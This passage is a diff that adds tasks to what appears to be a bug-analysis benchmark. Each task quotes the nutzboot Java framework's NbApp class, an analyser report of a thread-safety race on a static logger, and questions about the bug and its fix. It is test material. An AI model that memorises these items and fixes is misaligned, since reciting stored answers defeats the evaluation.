+        listeners.forEach((listener)->listener.whenPrepareIoc(this, EventType.after));
+
+        // 生成Starter实例
+        listeners.forEach((listener)->listener.whenPrepareStarterInstance(this, EventType.before));
+        prepareStarterInstance();
+        listeners.forEach((listener)->listener.whenPrepareStarterInstance(this, EventType.after));
+
+        // 从Ioc容器检索Listener
+        listeners.addAll(ctx.getBeans(NbAppEventListener.class));
+        
+        prepared = true;
+    }
+
+    public void prepareBasic() throws Exception {
+        // 检查ClassLoader的情况
+        if (ctx.getClassLoader() == null)
+            ctx.setClassLoader(NbApp.class.getClassLoader());
+
+        if (ctx.getEnvHolder() == null) {
+            ctx.setEnvHolder(new SystemPropertiesEnvHolder());
+        }
+
+        // 看看日志应该用哪个
+        String logAdapter = ctx.getEnvHolder().get("nutz.boot.base.LogAdapter");
+        if (!Strings.isBlank(logAdapter)) {
+            Logs.setAdapter((LogAdapter) ctx.getClassLoader().loadClass(logAdapter).newInstance());
+        }
+        log = Logs.get();
+        // 资源加载器
+        if (ctx.getResourceLoader() == null) {
+            ResourceLoader resourceLoader = new SimpleResourceLoader();
+            aware(resourceLoader);
+            ctx.setResourceLoader(resourceLoader);
+        }
+    }
+
+    public void prepareConfigureLoader() throws Exception {
+        if (ctx.getConfigureLoader() == null) {
+            ConfigureLoader configureLoader = null;
+            InputStream ins = ctx.getResourceLoader().get("META-INF/nutz/org.nutz.boot.config.ConfigureLoader");
+            if (ins != null) {
+                String cnfLoader = new String(Streams.readBytes(ins)).trim();
+                if (!Strings.isBlank(cnfLoader)) {
+                    log.debugf("using %s as ConfigureLoader", cnfLoader);
+                    configureLoader = (ConfigureLoader) ctx.getClassLoader().loadClass(cnfLoader).newInstance();
+                }
+            }
+            if (configureLoader == null) {
+                configureLoader = new PropertiesConfigureLoader();
+            }
+            configureLoader.setCommandLineProperties(allowCommandLineProperties, args);
+            aware(configureLoader);
+            ctx.setConfigureLoader(configureLoader);
+            if (configureLoader instanceof LifeCycle)
+                ((LifeCycle) configureLoader).init();
+        }
+    }
+
+    public void prepareIocLoader() throws Exception {
+        if (ctx.getComboIocLoader() == null) {
+            int asyncPoolSize = ctx.getConfigureLoader().get().getInt("nutz.ioc.async.poolSize", 64);
+            List<String> args = new ArrayList<>();
+            args.add("*js");
+            args.add("ioc/");
+            args.add("*tx");
+            args.add("*async");
+            args.add("" + asyncPoolSize);
+            args.add("*anno");
+            args.add(ctx.getPackage());
+            IocBy iocBy = ctx.getMainClass().getAnnotation(IocBy.class);
+            if (iocBy != null) {
+                String[] tmp = iocBy.args();
+                ArrayList<String> _args = new ArrayList<>();
+                for (int i = 0; i < tmp.length; i++) {
+                    if (tmp[i].startsWith("*")) {
+                        if (!_args.isEmpty()) {
+                            switch (_args.get(0)) {
+                            case "*tx":
+                            case "*async":
+                            case "*anno":
+                            case "*js":
+                                break;
+                            default:
+                                args.addAll(_args);
+                            }
+                            _args.clear();
+                        }
+                    }
+                    _args.add(tmp[i]);
+                }
+                if (_args.size() > 0) {
+                    switch (_args.get(0)) {
+                    case "*tx":
+                    case "*async":
+                    case "*anno":
+                    case "*js":
+                        break;
+                    default:
+                        args.addAll(_args);
+                    }
+                }
+            }
+            ctx.setComboIocLoader(new ComboIocLoader(args.toArray(new String[args.size()])));
+        }
+        // 用于加载Starter的IocLoader
+        starterIocLoader = new AnnotationIocLoader(NbApp.class.getPackage().getName() + ".starter");
+        ctx.getComboIocLoader().addLoader(starterIocLoader);
+    }
+
+    public void prepareStarterClassList() throws Exception {
+        HashSet<String> classNames = new HashSet<>();
+        Enumeration<URL> _en = ctx.getClassLoader().getResources("META-INF/nutz/org.nutz.boot.starter.NbStarter");
+        while (_en.hasMoreElements()) {
+            URL url = _en.nextElement();
+            log.debug("Found " + url);
+            try (InputStream ins = url.openStream()) {
+                InputStreamReader reader = new InputStreamReader(ins);
+                String tmp = Streams.readAndClose(reader);
+                if (!Strings.isBlank(tmp)) {
+                    for (String _tmp : Strings.splitIgnoreBlank(tmp, "[\n]")) {
+                        String className = _tmp.trim();
+                        if (!classNames.add(className))
+                            continue;
+                        Class<?> klass = ctx.getClassLoader().loadClass(className);
+                        if (!klass.getPackage().getName().startsWith(NbApp.class.getPackage().getName()) && klass.getAnnotation(IocBean.class) != null) {
+                            starterIocLoader.addClass(klass);
+                        }
+                        starterClasses.add(klass);
+                    }
+                }
+            }
+        }
+    }
+
+    public void prepareIoc() {
+        if (ctx.getIoc() == null) {
+            ctx.setIoc(new NutIoc(ctx.getComboIocLoader()));
+        }
+        // 把核心对象放进ioc容器
+        if (!ctx.ioc.has("appContext")) {
+        	ctx.ioc.addBean("appContext", ctx);
+        	ctx.ioc.addBean("conf", ctx.getConf());
+        	ctx.ioc.addBean("nbApp", this);
+            // 添加更多扩展bean
+        	ctx.ioc.addBean("counterService", new MemoryCounterService());
+        }
+        Mvcs.ctx().iocs.put("nutz", ctx.getIoc());
+    }
+
+    public void prepareStarterInstance() {
+        for (Class<?> klass : starterClasses) {
+            Object obj;
+            if (klass.getAnnotation(IocBean.class) == null) {
+                obj = Mirror.me(klass).born();
+            } else {
+                continue;
+            }
+            aware(obj);
+            if (obj instanceof IocLoaderProvider) {
+                IocLoader loader = ((IocLoaderProvider) obj).getIocLoader();
+                ctx.getComboIocLoader().addLoader(loader);
+            }
+            ctx.addStarter(obj);
+        }
+        for (Class<?> klass : starterClasses) {
+            Object obj;
+            if (klass.getAnnotation(IocBean.class) == null) {
+                continue;
+            } else {
+                obj = ctx.getIoc().get(klass);
+            }
+            aware(obj);
+            if (obj instanceof IocLoaderProvider) {
+                IocLoader loader = ((IocLoaderProvider) obj).getIocLoader();
+                ctx.getComboIocLoader().addLoader(loader);
+            }
+            ctx.addStarter(obj);
+        }
+    }
+
+    protected void aware(Object obj) {
+        // 需要注入AppContext
+        if (obj instanceof AppContextAware) {
+            ((AppContextAware) obj).setAppContext(ctx);
+        }
+        // 需要注入ClassLoader
+        if (obj instanceof ClassLoaderAware) {
+            ((ClassLoaderAware) obj).setClassLoader(ctx.getClassLoader());
+        }
+        // 需要注入EnvHolder
+        if (obj instanceof EnvHolderAware) {
+            ((EnvHolderAware) obj).setEnvHolder(ctx.getEnvHolder());
+        }
+        // 需要注入ResourceLoader
+        if (obj instanceof ResourceLoaderAware) {
+            ((ResourceLoaderAware) obj).setResourceLoader(ctx.getResourceLoader());
+        }
+        // 需要注入Ioc
+        if (obj instanceof IocAware) {
+            ((IocAware) obj).setIoc(ctx.getIoc());
+        }
+    }
+
+    public void setListener(NbAppEventListener listener) {
+        this.listeners.clear();
+        addListener(listener);
+    }
+    
+    public void addListener(NbAppEventListener listener) {
+    	this.listeners.add(listener);
+    }
+    
+    public boolean isStarted() {
+        return started;
+    }
+    
+    public NbApp setMainPackage(String mainPackage) {
+        getAppContext().setMainPackage(mainPackage);
+        return this;
+    }
+    
+    public List<Class<?>> getStarterClasses() {
+        return starterClasses;
+    }
+    
+    public NbApp addStarterClass(Class<?> klass) {
+        if (klass != null)
+            starterClasses.add(klass);
+        return this;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.nutz.boot.NbApp.prepare` indirectly reads without synchronization from `boot.NbApp.org.nutz.boot.NbApp.log`. Potentially races with write in method `NbApp.run()`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void NbApp.prepare()
+
+### Procedure Id:
+org.nutz.boot.NbApp.prepare():void.3497bd920679b1a589201156049c849c
+
+### File:
+nutzboot-core/src/main/java/org/nutz/boot/NbApp.java
+
+### Key:
+NbApp.java|prepare|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+e880f8ca93929122c5fb749e626a653c
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9415/instruction.md b/inferredbugs-9415/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..eaf229634b0d659e6d320a24c752d22c37e66b00
--- /dev/null
+++ b/inferredbugs-9415/instruction.md
@@ -0,0 +1,497 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** nutzboot
+**Bug ID:** 20
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.nutz.boot;
+
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.net.URL;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.HashSet;
+import java.util.List;
+
+import org.nutz.boot.aware.AppContextAware;
+import org.nutz.boot.aware.ClassLoaderAware;
+import org.nutz.boot.aware.EnvHolderAware;
+import org.nutz.boot.aware.IocAware;
+import org.nutz.boot.aware.ResourceLoaderAware;
+import org.nutz.boot.banner.SimpleBannerPrinter;
+import org.nutz.boot.config.ConfigureLoader;
+import org.nutz.boot.config.impl.PropertiesConfigureLoader;
+import org.nutz.boot.env.SystemPropertiesEnvHolder;
+import org.nutz.boot.ioc.IocLoaderProvider;
+import org.nutz.boot.resource.ResourceLoader;
+import org.nutz.boot.resource.impl.SimpleResourceLoader;
+import org.nutz.boot.tools.PropDocReader;
+import org.nutz.ioc.Ioc2;
+import org.nutz.ioc.IocLoader;
+import org.nutz.ioc.ObjectProxy;
+import org.nutz.ioc.impl.NutIoc;
+import org.nutz.ioc.loader.annotation.AnnotationIocLoader;
+import org.nutz.ioc.loader.annotation.IocBean;
+import org.nutz.ioc.loader.combo.ComboIocLoader;
+import org.nutz.lang.Lang;
+import org.nutz.lang.Mirror;
+import org.nutz.lang.Stopwatch;
+import org.nutz.lang.Streams;
+import org.nutz.lang.Strings;
+import org.nutz.lang.util.LifeCycle;
+import org.nutz.log.Log;
+import org.nutz.log.LogAdapter;
+import org.nutz.log.Logs;
+import org.nutz.mvc.annotation.IocBy;
+
+/**
+ * NutzBoot的主体
+ * 
+ * @author wendal
+ *
+ */
+public class NbApp extends Thread {
+
+    /**
+     * 日志属性要等日志适配器准备好了才能加载,这里不可以使用Logs.get();
+     */
+    protected static Log log;
+
+    /**
+     * 命令行参数
+     */
+    protected String[] args;
+
+    /**
+     * 是否允许命令行下的 -Dxxx.xxx.xxx=转为配置参数
+     */
+    protected boolean allowCommandLineProperties = true;
+
+    /**
+     * 是否打印配置文档
+     */
+    protected boolean printProcDoc;
+
+    /**
+     * 主上下文
+     */
+    protected AppContext ctx;
+
+    /**
+     * Starter共享的IocLoader
+     */
+    protected AnnotationIocLoader starterIocLoader;
+
+    /**
+     * Starter类列表
+     */
+    protected List<Class<?>> starterClasses;
+
+    protected boolean prepared;
+
+    protected Object lock = new Object();
+
+    /**
+     * 创建一个NbApp,把调用本构造方法的类作为mainClass
+     */
+    public NbApp() {
+        ctx = AppContext.getDefault();
+        StackTraceElement[] ts = Thread.currentThread().getStackTrace();
+        if (ts.length > 2) {
+            setMainClass(Lang.loadClassQuite(ts[2].getClassName()));
+        }
+    }
+
+    /**
+     * 基于mainClass创建一个NbApp
+     * 
+     * @param mainClass
+     *            主启动类
+     */
+    public NbApp(Class<?> mainClass) {
+        ctx = AppContext.getDefault();
+        setMainClass(mainClass);
+    }
+
+    public NbApp(AppContext ctx) {
+        this.ctx = ctx;
+        StackTraceElement[] ts = Thread.currentThread().getStackTrace();
+        if (ts.length > 2) {
+            setMainClass(Lang.loadClassQuite(ts[2].getClassName()));
+        }
+    }
+
+    public NbApp(AppContext ctx, Class<?> mainClass) {
+        this.ctx = ctx;
+        setMainClass(mainClass);
+    }
+
+    /**
+     * 设置命令行参数,可选
+     */
+    public NbApp setArgs(String[] args) {
+        this.args = args;
+        return this;
+    }
+
+    /**
+     * 设置主启动类
+     */
+    public NbApp setMainClass(Class<?> mainClass) {
+        this.ctx.setMainClass(mainClass);
+        return this;
+    }
+
+    /**
+     * 是否允许从命令行读取配置信息, 例如 java -Dnutz.ioc.async.poolSize=128 xxx.jar
+     * 
+     * @param flag
+     *            默认允许
+     */
+    public NbApp setAllowCommandLineProperties(boolean flag) {
+        this.allowCommandLineProperties = flag;
+        return this;
+    }
+
+    /**
+     * 是否打印配置文档
+     */
+    public NbApp setPrintProcDoc(boolean printProcDoc) {
+        this.printProcDoc = printProcDoc;
+        return this;
+    }
+
+    /**
+     * 获取全局上下文
+     * 
+     * @return
+     */
+    public AppContext getAppContext() {
+        return ctx;
+    }
+
+    public void run() {
+        try {
+            _run();
+        }
+        catch (Throwable e) {
+            Logs.get().error("something happen", e);
+        }
+    }
+
+    /**
+     * 启动整个NbApp
+     */
+    public void _run() throws Exception {
+        Stopwatch sw = Stopwatch.begin();
+
+        // 各种预备操作
+        this.prepare();
+
+        if (printProcDoc) {
+            PropDocReader docReader = new PropDocReader(ctx);
+            docReader.load();
+            Logs.get().info("Configure Manual:\r\n" + docReader.toMarkdown());
+        }
+
+        // 依次启动
+        try {
+            ctx.init();
+
+            ctx.startServers();
+
+            if (ctx.getMainClass().getAnnotation(IocBean.class) != null)
+                ctx.getIoc().get(ctx.getMainClass());
+
+            sw.stop();
+            log.infof("NB started : %sms", sw.du());
+            synchronized (lock) {
+                lock.wait();
+            }
+        }
+        catch (Throwable e) {
+            log.error("something happen!!", e);
+        }
+        // 收尾
+        ctx.stopServers();
+        ctx.depose();
+    }
+
+    public void shutdown() {
+        log.info("ok, shutting down ...");
+        synchronized (lock) {
+            lock.notify();
+        }
+    }
+
+    /**
+     * 执行预备操作
+     */
+    public void prepare() throws Exception {
+        if (prepared)
+            return;
+        // 初始化上下文
+        this.prepareBasic();
+
+        // 打印Banner,暂时不可配置具体的类
+        new SimpleBannerPrinter().printBanner(ctx);
+
+        // 配置信息要准备好
+        this.prepareConfigureLoader();
+
+        // 创建IocLoader体系
+        prepareIocLoader();
+
+        // 加载各种starter
+        prepareStarterClassList();
+
+        // 创建Ioc容器
+        prepareIoc();
+
+        // 生成Starter实例
+        prepareStarterInstance();
+
+        prepared = true;
+    }
+
+    public void prepareBasic() throws Exception {
+        // 检查ClassLoader的情况
+        if (ctx.getClassLoader() == null)
+            ctx.setClassLoader(NbApp.class.getClassLoader());
+
+        if (ctx.getEnvHolder() == null) {
+            ctx.setEnvHolder(new SystemPropertiesEnvHolder());
+        }
+
+        // 看看日志应该用哪个
+        String logAdapter = ctx.getEnvHolder().get("nutz.boot.base.LogAdapter");
+        if (!Strings.isBlank(logAdapter)) {
+            Logs.setAdapter((LogAdapter) ctx.getClassLoader().loadClass(logAdapter).newInstance());
+        }
+        log = Logs.get();
+        // 资源加载器
+        if (ctx.getResourceLoader() == null) {
+            ResourceLoader resourceLoader = new SimpleResourceLoader();
+            aware(resourceLoader);
+            ctx.setResourceLoader(resourceLoader);
+        }
+    }
+
+    public void prepareConfigureLoader() throws Exception {
+        if (ctx.getConfigureLoader() == null) {
+            String cnfLoader = ctx.getEnvHolder().get("nutz.boot.base.ConfigureLoader");
+            ConfigureLoader configureLoader;
+            if (Strings.isBlank(cnfLoader)) {
+                configureLoader = new PropertiesConfigureLoader();
+            } else {
+                configureLoader = (ConfigureLoader) ctx.getClassLoader().loadClass(cnfLoader).newInstance();
+            }
+            configureLoader.setCommandLineProperties(allowCommandLineProperties, args);
+            aware(configureLoader);
+            ctx.setConfigureLoader(configureLoader);
+            if (configureLoader instanceof LifeCycle)
+                ((LifeCycle) configureLoader).init();
+        }
+    }
+
+    public void prepareIocLoader() throws Exception {
+        if (ctx.getComboIocLoader() == null) {
+            int asyncPoolSize = ctx.getConfigureLoader().get().getInt("nutz.ioc.async.poolSize", 64);
+            List<String> args = new ArrayList<>();
+            args.add("*js");
+            args.add("ioc/");
+            args.add("*tx");
+            args.add("*async");
+            args.add("" + asyncPoolSize);
+            args.add("*anno");
+            args.add(ctx.getPackage());
+            IocBy iocBy = ctx.getMainClass().getAnnotation(IocBy.class);
+            if (iocBy != null) {
+                String[] tmp = iocBy.args();
+                ArrayList<String> _args = new ArrayList<>();
+                for (int i = 0; i < tmp.length; i++) {
+                    if (tmp[i].startsWith("*")) {
+                        if (!_args.isEmpty()) {
+                            switch (_args.get(0)) {
+                            case "*tx":
+                            case "*async":
+                            case "*anno":
+                            case "*js":
+                                break;
+                            default:
+                                args.addAll(_args);
+                            }
+                            _args.clear();
+                        }
+                    }
+                    _args.add(tmp[i]);
+                }
+                if (_args.size() > 0) {
+                    switch (_args.get(0)) {
+                    case "*tx":
+                    case "*async":
+                    case "*anno":
+                    case "*js":
+                        break;
+                    default:
+                        args.addAll(_args);
+                    }
+                }
+            }
+            ctx.setComboIocLoader(new ComboIocLoader(args.toArray(new String[args.size()])));
+        }
+        // 用于加载Starter的IocLoader
+        starterIocLoader = new AnnotationIocLoader(NbApp.class.getPackage().getName() + ".starter");
+        ctx.getComboIocLoader().addLoader(starterIocLoader);
+    }
+
+    public void prepareStarterClassList() throws Exception {
+        starterClasses = new ArrayList<>();
+        HashSet<String> classNames = new HashSet<>();
+        Enumeration<URL> _en = ctx.getClassLoader().getResources("META-INF/nutz/org.nutz.boot.starter.NbStarter");
+        while (_en.hasMoreElements()) {
+            URL url = _en.nextElement();
+            log.debug("Found " + url);
+            try (InputStream ins = url.openStream()) {
+                InputStreamReader reader = new InputStreamReader(ins);
+                String tmp = Streams.readAndClose(reader);
+                if (!Strings.isBlank(tmp)) {
+                    for (String _tmp : Strings.splitIgnoreBlank(tmp, "[\n]")) {
+                        String className = _tmp.trim();
+                        if (!classNames.add(className))
+                            continue;
+                        Class<?> klass = ctx.getClassLoader().loadClass(className);
+                        if (!klass.getPackage().getName().startsWith(NbApp.class.getPackage().getName()) && klass.getAnnotation(IocBean.class) != null) {
+                            starterIocLoader.addClass(klass);
+                        }
+                        starterClasses.add(klass);
+                    }
+                }
+            }
+        }
+    }
+
+    public void prepareIoc() {
+        if (ctx.getIoc() == null) {
+            ctx.setIoc(new NutIoc(ctx.getComboIocLoader()));
+        }
+        // 把核心对象放进ioc容器
+        if (!ctx.ioc.has("appContext")) {
+            Ioc2 ioc2 = (Ioc2) ctx.getIoc();
+            ioc2.getIocContext().save("app", "appContext", new ObjectProxy(ctx));
+            ioc2.getIocContext().save("app", "conf", new ObjectProxy(ctx.getConf()));
+            ioc2.getIocContext().save("app", "nbApp", new ObjectProxy(this));
+        }
+    }
+
+    public void prepareStarterInstance() {
+        for (Class<?> klass : starterClasses) {
+            Object obj;
+            if (klass.getAnnotation(IocBean.class) == null) {
+                obj = Mirror.me(klass).born();
+            } else {
+                obj = ctx.getIoc().get(klass);
+            }
+            aware(obj);
+            if (obj instanceof IocLoaderProvider) {
+                IocLoader loader = ((IocLoaderProvider) obj).getIocLoader();
+                ctx.getComboIocLoader().addLoader(loader);
+            }
+            ctx.addStarter(obj);
+        }
+    }
+
+    protected void aware(Object obj) {
+        // 需要注入AppContext
+        if (obj instanceof AppContextAware) {
+            ((AppContextAware) obj).setAppContext(ctx);
+        }
+        // 需要注入ClassLoader
+        if (obj instanceof ClassLoaderAware) {
+            ((ClassLoaderAware) obj).setClassLoader(ctx.getClassLoader());
+        }
+        // 需要注入EnvHolder
+        if (obj instanceof EnvHolderAware) {
+            ((EnvHolderAware) obj).setEnvHolder(ctx.getEnvHolder());
+        }
+        // 需要注入ResourceLoader
+        if (obj instanceof ResourceLoaderAware) {
+            ((ResourceLoaderAware) obj).setResourceLoader(ctx.getResourceLoader());
+        }
+        // 需要注入Ioc
+        if (obj instanceof IocAware) {
+            ((IocAware) obj).setIoc(ctx.getIoc());
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.nutz.boot.NbApp._run` reads without synchronization from `boot.NbApp.org.nutz.boot.NbApp.log`. Potentially races with write in method `NbApp.run()`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void NbApp._run()
+
+### Procedure Id:
+org.nutz.boot.NbApp._run():void.3641f60336c24c77461f31b034e2a838
+
+### File:
+nutzboot-core/src/main/java/org/nutz/boot/NbApp.java
+
+### Key:
+NbApp.java|_run|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+db6b06d34e5b43713e8ec8650d4485c7
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9422/instruction.md b/inferredbugs-9422/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..01976671a806a2e308689abd61fb1e329c72333b
--- /dev/null
+++ b/inferredbugs-9422/instruction.md
@@ -0,0 +1,485 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** nutzboot
+**Bug ID:** 16
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.nutz.boot;
+
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.net.URL;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.HashSet;
+import java.util.List;
+
+import org.nutz.boot.aware.AppContextAware;
+import org.nutz.boot.aware.ClassLoaderAware;
+import org.nutz.boot.aware.EnvHolderAware;
+import org.nutz.boot.aware.IocAware;
+import org.nutz.boot.aware.ResourceLoaderAware;
+import org.nutz.boot.banner.SimpleBannerPrinter;
+import org.nutz.boot.config.ConfigureLoader;
+import org.nutz.boot.config.impl.PropertiesConfigureLoader;
+import org.nutz.boot.env.SystemPropertiesEnvHolder;
+import org.nutz.boot.ioc.IocLoaderProvider;
+import org.nutz.boot.resource.ResourceLoader;
+import org.nutz.boot.resource.impl.SimpleResourceLoader;
+import org.nutz.boot.tools.PropDocReader;
+import org.nutz.ioc.Ioc2;
+import org.nutz.ioc.IocLoader;
+import org.nutz.ioc.ObjectProxy;
+import org.nutz.ioc.impl.NutIoc;
+import org.nutz.ioc.loader.annotation.AnnotationIocLoader;
+import org.nutz.ioc.loader.annotation.IocBean;
+import org.nutz.ioc.loader.combo.ComboIocLoader;
+import org.nutz.lang.Lang;
+import org.nutz.lang.Mirror;
+import org.nutz.lang.Stopwatch;
+import org.nutz.lang.Streams;
+import org.nutz.lang.Strings;
+import org.nutz.lang.util.LifeCycle;
+import org.nutz.log.Log;
+import org.nutz.log.LogAdapter;
+import org.nutz.log.Logs;
+import org.nutz.mvc.annotation.IocBy;
+
+/**
+ * NutzBoot的主体
+ * @author wendal
+ *
+ */
+public class NbApp extends Thread {
+    
+	/**
+	 *  日志属性要等日志适配器准备好了才能加载,这里不可以使用Logs.get();
+	 */
+    protected static Log log;
+    
+    /**
+     * 命令行参数
+     */
+    protected String[] args;
+    
+    /**
+     * 是否允许命令行下的 -Dxxx.xxx.xxx=转为配置参数
+     */
+    protected boolean allowCommandLineProperties = true;
+    
+    /**
+     * 是否打印配置文档
+     */
+    protected boolean printProcDoc;
+    
+    /**
+     * 主上下文
+     */
+    protected AppContext ctx;
+    
+    /**
+     * Starter共享的IocLoader
+     */
+    protected AnnotationIocLoader starterIocLoader;
+    
+    /**
+     * Starter类列表
+     */
+    protected List<Class<?>> starterClasses;
+    
+    protected boolean prepared;
+    
+    protected Object lock = new Object();
+    
+    /**
+     * 创建一个NbApp,把调用本构造方法的类作为mainClass
+     */
+    public NbApp() {
+        ctx = AppContext.getDefault();
+    	StackTraceElement[] ts = Thread.currentThread().getStackTrace();
+    	if (ts.length > 2) {
+    		setMainClass(Lang.loadClassQuite(ts[2].getClassName()));
+    	}
+    }
+    
+    /**
+     * 基于mainClass创建一个NbApp
+     * @param mainClass 主启动类
+     */
+    public NbApp(Class<?> mainClass) {
+        ctx = AppContext.getDefault();
+        setMainClass(mainClass);
+    }
+    
+    public NbApp(AppContext ctx) {
+        this.ctx = ctx;
+        StackTraceElement[] ts = Thread.currentThread().getStackTrace();
+        if (ts.length > 2) {
+            setMainClass(Lang.loadClassQuite(ts[2].getClassName()));
+        }
+    }
+    
+    public NbApp(AppContext ctx, Class<?> mainClass) {
+        this.ctx = ctx;
+        setMainClass(mainClass);
+    }
+    
+    /**
+     * 设置命令行参数,可选
+     */
+    public NbApp setArgs(String[] args) {
+        this.args = args;
+        return this;
+    }
+    
+    /**
+     * 设置主启动类
+     */
+    public NbApp setMainClass(Class<?> mainClass) {
+        this.ctx.setMainClass(mainClass);
+        return this;
+    }
+    
+    /**
+     * 是否允许从命令行读取配置信息, 例如 java -Dnutz.ioc.async.poolSize=128 xxx.jar
+     * @param flag 默认允许
+     */
+    public NbApp setAllowCommandLineProperties(boolean flag) {
+        this.allowCommandLineProperties = flag;
+        return this;
+    }
+    
+    /**
+     * 是否打印配置文档
+     */
+    public NbApp setPrintProcDoc(boolean printProcDoc) {
+		this.printProcDoc = printProcDoc;
+		return this;
+	}
+    
+    /**
+     * 获取全局上下文
+     * @return
+     */
+    public AppContext getAppContext() {
+		return ctx;
+	}
+    
+    public void run() {
+        try {
+            _run();
+        } catch (Throwable e) {
+            Logs.get().error("something happen", e);
+        }
+    }
+    
+    /**
+     * 启动整个NbApp
+     */
+    public void _run() throws Exception {
+    	Stopwatch sw = Stopwatch.begin();
+
+        // 各种预备操作
+    	this.prepare();
+    	
+    	if (printProcDoc) {
+    		PropDocReader docReader = new PropDocReader(ctx);
+        	docReader.load();
+        	Logs.get().info("Configure Manual:\r\n" + docReader.toMarkdown());
+    	}
+        
+        // 依次启动
+    	try {
+            ctx.init();
+
+            ctx.startServers();
+
+            if (ctx.getMainClass().getAnnotation(IocBean.class) != null)
+                ctx.getIoc().get(ctx.getMainClass());
+
+            sw.stop();
+            log.infof("NB started : %sms", sw.du());
+            synchronized (lock) {
+                lock.wait();
+            }
+    	}
+    	catch (Throwable e) {
+            log.error("something happen!!", e);
+        }
+        // 收尾
+        ctx.stopServers();
+        ctx.depose();
+    }
+    
+    public void shutdown() {
+        log.info("ok, shutting down ...");
+        synchronized (lock) {
+            lock.notify();
+        }
+    }
+    
+    /**
+     * 执行预备操作
+     */
+    public void prepare() throws Exception {
+    	if (prepared)
+    		return;
+        // 初始化上下文
+    	this.prepareBasic();
+        
+        // 打印Banner,暂时不可配置具体的类
+        new SimpleBannerPrinter().printBanner(ctx);
+        
+        // 配置信息要准备好
+        this.prepareConfigureLoader();
+        
+        // 创建Ioc容器
+        prepareIoc();
+        
+        // 加载各种starter
+        prepareStarterClassList();
+        
+        // 生成Starter实例
+        prepareStarterInstance();
+        
+        prepared = true;
+    }
+    
+    public void prepareBasic() throws Exception {
+        // 检查ClassLoader的情况
+        if (ctx.getClassLoader() == null)
+            ctx.setClassLoader(NbApp.class.getClassLoader());
+        
+        if (ctx.getEnvHolder() == null) {
+            ctx.setEnvHolder(new SystemPropertiesEnvHolder());
+        }
+        
+        // 看看日志应该用哪个
+        String logAdapter = ctx.getEnvHolder().get("nutz.boot.base.LogAdapter");
+        if (!Strings.isBlank(logAdapter)) {
+            Logs.setAdapter((LogAdapter) ctx.getClassLoader().loadClass(logAdapter).newInstance());
+        }
+        log = Logs.get();
+        // 资源加载器
+        if (ctx.getResourceLoader() == null) {
+            ResourceLoader resourceLoader = new SimpleResourceLoader();
+            aware(resourceLoader);
+            ctx.setResourceLoader(resourceLoader);
+        }
+    }
+
+    public void prepareConfigureLoader() throws Exception {
+        if (ctx.getConfigureLoader() == null) {
+            String cnfLoader = ctx.getEnvHolder().get("nutz.boot.base.ConfigureLoader");
+            ConfigureLoader configureLoader;
+            if (Strings.isBlank(cnfLoader)) {
+                configureLoader = new PropertiesConfigureLoader();
+            } else {
+                configureLoader = (ConfigureLoader) ctx.getClassLoader().loadClass(cnfLoader).newInstance(); 
+            }
+            configureLoader.setCommandLineProperties(allowCommandLineProperties, args);
+            aware(configureLoader);
+            ctx.setConfigureLoader(configureLoader);
+            if (configureLoader instanceof LifeCycle)
+                ((LifeCycle) configureLoader).init();
+        }
+    }
+    
+    public void prepareIoc() throws Exception {
+        if (ctx.getComboIocLoader() == null) {
+        	int asyncPoolSize = ctx.getConfigureLoader().get().getInt("nutz.ioc.async.poolSize", 64);
+        	List<String> args = new ArrayList<>();
+        	args.add("*js");
+        	args.add("ioc/");
+        	args.add("*tx");
+        	args.add("*async");
+        	args.add(""+asyncPoolSize);
+        	args.add("*anno");
+        	args.add(ctx.getPackage());
+        	IocBy iocBy = ctx.getMainClass().getAnnotation(IocBy.class);
+        	if (iocBy != null) {
+        		String[] tmp = iocBy.args();
+        		ArrayList<String> _args = new ArrayList<>();
